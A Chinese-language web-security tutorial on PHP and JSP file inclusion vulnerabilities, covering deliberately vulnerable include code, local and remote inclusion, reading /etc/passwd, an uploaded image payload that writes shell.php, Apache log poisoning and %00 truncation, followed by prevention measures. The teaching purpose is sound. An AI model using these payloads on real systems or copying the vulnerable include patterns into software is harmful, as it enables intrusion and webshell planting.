12、Web安全测试—文件包含漏洞
PHP文件包含漏洞
什么是文件包含
- 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。
什么是文件包含漏洞
- 开发人员为了增加代码的灵活性,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。PHP、JSP、ASP等语言中都可能会有文件包含漏洞,但PHP中居多
PHP文件包含
PHP中提供了四个文件包含的函数,分别是include()、 include_once()、 require() 和require_ once()。
- include 找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行;
- require 找不到被包含的文件时会产生致命错误(E_ COMPILE_ERROR),并停止脚本;
- include _once: 此语句和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含;
- require_once: 此行语句和require()语句类似,唯一区 别是如果该文件中的代码已经被包含,则不会再次包含
PHP本地文件包含Local File Include(LFI)
ArrayUtil.php文件提供了字符串操作函数,代码如下:
<?php
function PrintArr ($arr, $sp ,$lin="<br/>"){
foreach($arr as $key -> $value) {
echo " $key $sp $value $lin" ;
}
}
?>
Index.php对ArayUtil.php进行包含,并且使用PrintArr函数,代码如下:
<?php
include ("ArrayUtil.php"); // 包含ArrayUtil .php
$arr = array("张三", "李四","王五");
PrintArr ($arr, "==>") ;//使用ArrayUtil.php中的PrintArr函數
?>
PHP文件包含漏洞
再看PHP文件包含漏洞例子,phpinfo.txt是一个正常的文本文件,但文件内容却是符合PHP语法的代码:
在index.php文件中代码为: include $_GET['test']
在浏览器中访问URL: http://127.0.0.1/index.php?test=phpinfo.txt
将phpinfo.txt文件的扩展名分别改为: jpg、rar、xxx、doc 进行测试
数据库配置文件db.properties,文件内容如下:
- db.dbName =MySchool
- db.use rname= root
- db.password=root
- db.port=3306
在浏览器中访问URL: http://127.0.0.1/index.php?test=db.properties
包含非PHP语法规范源文件时,将会暴露其源代码
PHP文件包含漏洞示例,在index.php中有如下代码
if(isset($_GET['page'])) {
include $_GET['page'] ;
} else{
include 'home.php';
}
- 访问URL为: http://127.0.0.1/index.php?page=main.php
程序逻辑为:
- 提交URL,在index.php中取得page参数的值。
- 判断$_ GET[page]是否为空,若不为空,就使用include包含这个文件
- 若$_ GET[page]为空,就执行else语句来包含home.php文件
攻击者不会乖乖地按照程序指定好的规则去访问,比如攻击者可能输入以下URL:
- http://www . xxser . com/ index . php?page=xxx . php
访问以上URL程序将会包含xxx.php,但是由于xx.php在服务器端并不存在,所以在包含时通常会出现类似以下的警告,暴露出网站的绝对路径
- Warning: include(xxx.php): failed to open stream: No such file or directory in D:\course\web\example\File_Include\PHP\index.php on line 16
远程文件包含漏洞
PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。
- http://www . xxser . com/ index . php?page=http://192.168.98.78/xxx . Php
PHP文件包含漏洞的利用
要想成功利用文件包含漏洞,需要满足下面两个条件:
- Include()等函数通过动态变量的方式引入需要包含的文件;
- 用户能够控制该动态变量
读取敏感文件
- 在前面的警告中,我们可以看到暴露的绝对路径,就可以多次探测来包含其它文件,可以直接指定绝对路径,读取敏感的系统文件。
- 例如访问URL: htp://wwxxser.com/index.php?page =/etc/passwd,如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容
本地包含配合文件上传
- 很多网站通常会提供文件上传功能,比如:上传头像、 文档等。假设已经上传一句话图片木马到服务器路径为:/uploadfile/201363.jpg
- 图片代码如下: <?fputs(fopen("shell.php","w"), "<?php phpinfo()?>")?>
- 访问URL: http://127.0.0.1/index.php?test=./uploadfile/201363.jpg,包含这张图片,将会在index.php所在目录下生成shell.php
包含Apache日志文件
- 找到Apache路径,利用包含漏洞包含Apache日志文件可以获取WebShell
- Apache运行后一般默认 会生成两个日志文件,这两个文件是access.log (访问日志)和erorlog (错误日志), Apache的访问日志文件记录了客户端的每次请求及服务器响应的相关信息。
- 当访问一个不存在的资源时,Apache 日志同样会记录,这就意味着,如果网站存在本地包含漏洞,却没有可以包含的文件时(通常是指网页木马文件),就可以去访问URL
http://127.0.0.1/<?php phpinfo();?> Apache 会记录请求"<?php phpinfo();?>", 并写到acess.log文件中,这时再去包含Apache的日志文件,不就可以利用包含漏洞了吗?
- 攻击者可以通过Burp Suite来绕过编码
- 攻击者在使用Apache日志文件包含时,首先需要确定Apache的日志路径,否则即使攻者将PHP木马写入日志文件也无法包含
截断包含
- 很多程序员认为PHP中的包含漏洞比较好修复,固定扩展名即可,代码如下: include $_GET['test'] . ".php";
- 当进行包含时不需要传输文件扩展名,例如,想要包含main.php页面,只需要传入http://127.0.0.1/index.php?test=main
- 当输入url为http://127.0.0.1/index.php?test= phpinfo.txt时则会出错
- 攻击者可以采取截断的方法来突破这段代码
http://127.0.0.1/index.php?test= phpinfo.txt%00
- 这种方法只适用于magic_ quotes_ gpc = Off时,在php.ini中修改,如果为On,%00将会被转义,从而无法正常截断
注:这个特性在PHP5.3.0中已经废弃并且在5.4.0中已经移除了
JSP文件包含漏洞
JSP文件包含
JSP包含分两种方式:静态包含和动态包含
静态包含语句:<%@ include file=“xxx.txt”>,先进行包含,再做处理操作
- JSP语法规定,include 指令为静态包含,只允许包含一个已经存在于服务器中的文件,而不能使用变量来控制包含某个文件。这就意味着使用include指令将不存在文件包含漏洞
动态包含语句:<jsp:include page="page.txt" />
- 动态包含与静态包含恰恰相反,在运行时,首先会处理被包含页面,然后再包含,而且可以包含一个动态页面(变量)
- <jsp:include/>标签在包含一个非JSP文件扩展名时,即使其内容符合JSP语法规范,也会读取其源代码,而不会解析其JSP代码。这就意味着JSP所包含的页面即使被攻击者控制,攻击者得到的信息也是有限的。(攻击者一般都会包含一些 Web容器的配置文件, 比如Tomcat的user.xml.)
由于语言设计的差异,相对来说,JSP 比PHP拥有更高的安全性。PHP从某些方面而言,它的许多优点正是它的缺点
文件包含漏洞预防
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制
- 路径限制:限制被包含的文件只能在某一文件夹内, 一定要禁止目录跳转字符,如“../”
- 包含文件验证:验证被包含的文件是否是白名单中的一员
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如: include("head.php")